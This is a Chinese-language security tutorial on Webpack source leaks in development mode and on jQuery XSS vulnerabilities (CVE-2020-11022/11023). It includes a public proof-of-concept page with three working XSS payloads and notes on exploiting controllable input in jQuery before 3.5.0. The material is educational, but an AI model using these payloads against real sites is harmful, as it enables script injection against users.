时间轴：
演示案例：
打包器-WebPack-使用&安全
第三方库-JQuery-使用&安全
打包器-WebPack-使用&安全
参考：https://mp.weixin.qq.com/s/J3bpy-SsCnQ1lBov1L98WA
Webpack 是一个模块打包器。在 Webpack 中会将前端的所有资源文件都作为模块处理。 它将根据模块的依赖关系进行分析，生成对应的资源。
五个核心概念:
1. 【入口(entry)】：指示 webpack 应该使用哪个模块，来作为构建内部依赖图开始。
2. 【输出(output)】：在哪里输出文件，以及如何命名这些文件。
3. 【Loader】：处理那些非 JavaScript 文件（webpack 自身只能解析 JavaScript 和 json）。webpack 本身只能处理 JS、JSON 模块，如果要加载其他类 型的文件(模块)，就需要使用对应的 loader。
4. 【插件(plugins)】：执行范围更广的任务，从打包到优化都可以实现。
5. 【模式(mode)】：有生产模式 production 和开发模式 development。
development开发模式源码会泄露，production不会泄露源码。
使用：
1、创建需打包文件
2、安装 webpack 库
3、创建 webpack 配置文件
4、运行 webpack 打包命令
Webpack使用：
webpack就是减少了文件的调用，使用一个文件就可以包含其他文件的内容。
下面这两个放入js文件中：
sum.js:
export default function sum(x,y){return x+y;
}count.js:
export default function count(x,y){return x-y;
}main.js和js放在同一目录。
main.js:
import count from "./js/count"; //调用js中的count函数
import sum from "./js/sum"; //调用js中的sum函数console.log(count(2,1));
console.log(sum(2,1));index.html:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><!-- <script src="src/js/sum.js"></script><script src="src/js/count.js"></script> <script src="src/main.js"></script> --> //使用此函数将不用在一步步调用以上函数及文件<script src="dist/bundle.js"></script> //使用打包得到的bundle.js
</body>
</html>全局安装webpack：(在终端输入)
npm i webpack-cli -g
创建webpack.config.js(配置文件)（最好不要改名）
const path = require('path'); // 引入path模块
// entry：输入是src下的mian文件
// output: 输出在dist文件夹下额bundle.js
module.exports = {entry: './src/main.js',output: {path: path.resolve(__dirname, 'dist'), //将文件打包在dist目录下filename: 'bundle.js',clean: true,},mode:"development", //源码会泄露//mode:"production",};运行使用：（在终端输入）
npx webpack
运行结果：
使用打包器和不适用打包器的区别：
使用打包器：
<body><script src="dist/bundle.js"></script> //使用打包得到的bundle.js
</body>不使用打包器：
<body><script src="src/js/sum.js"></script><script src="src/js/count.js"></script> <script src="src/main.js"></script>
</body>development模式和production模式的区别：
development模式：
开发者模式几乎可以看到全部文件及内容（development）
production模式：（切换模式时需要重新打包）
只有(()=>{"use strict";console.log(1),console.log(3)})();直接显示结果
安全：
1、WebPack 源码泄漏-模式选择
development和production模式选择。
developmen会泄露源码，production不会泄露源码。
2、模糊提取安全检查-PacketFuzzer
https://github.com/rtcatc/Packer-Fuzzer
原生态 JS：前端语言直接浏览器显示源代码
NodeJS：服务段语言浏览器不显示源代码
WebPack：打包模式选择开发者模式后会造成源码泄漏（nodejs vue）
原本node.js是不会泄露源码的，但使用了development模式后可能会泄露源码。
真实案例：
顺丰快递（已被修复）
可以看到由vue进行的搭建
PacketFuzzer：
用来提取Web关键信息的。
第三方库-JQuery-使用&安全
jQuery 是一个快速、简洁的 JavaScript 框架,是一个丰富的 JavaScript 代码库。 设计目的是为了写更少的代码，做更多的事情。它封装 JavaScript 常用功能代码，提 供一种简便的 JavaScript 设计模式，优化 HTML 文档操作、事件处理、动画设计和 Ajax 交互。
1、使用：
引用路径：https://www.jq22.com/jquery-info122
2、安全：
检测：http://research.insecurelabs.org/jquery/test/
测试：
CVE-2020-11022/CVE-2020-11023
参考:
https://blog.csdn.net/weixin_44309905/article/details/120902867
jquery漏洞总结:
https://cloud.tencent.com/developer/article/1516331
如何搜索到第三方库：
搜索方式：
结果：
案例演示：Jquery不同版本漏洞
网页代码：
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title><script src="https://code.jquery.com/jquery-3.5.1.min.js"></script><!-- <script src="https://code.jquery.com/jquery-3.4.1.min.js"></script> -->
</head>
<body>
<script>
function test(n,jq){sanitizedHTML = document.getElementById('poc'+n).innerHTML;if(jq){$('#div').html(sanitizedHTML);}else{div.innerHTML=sanitizedHTML;}
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p><h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=yy onerror=alert(1)>
</xmp><h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=yy onerror=alert(1)>">
</xmp><h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=yy onerror=alert(1)></style>
</xmp><div id="div"></div>
</body>
</html>代码逻辑：
为什么写在前面的alert（1）弹窗，因为他放在<xmp>代码中。
jquery版本3.4.1版本：（会显示弹窗）
此次点击Append via.html()会显示弹窗
jquery版本3.5.1版本：（点击后没有弹窗）
此次是点击append via.html()没有弹窗。
总结：
Jquery内置的过滤：
本身dom：
<style><style /><img src=yy οnerrοr=alert(1)>
3.5.1：
<style><style /><img src=yy οnerrοr=alert(1)> </style>
3.4.1：
<style><style ></style><img src="yy" οnerrοr="alert(1)">
利用漏洞：
版本符合，<style><style ></style><img src="yy" οnerrοr="alert(1)"> 值可控 就可以造成xss
能够造成漏洞的原因：
内置过滤：
jQuery框架漏洞全总结及开发建议_jquery漏洞-CSDN博客
此文章由李豆豆喵和番薯小羊卷~共同完成。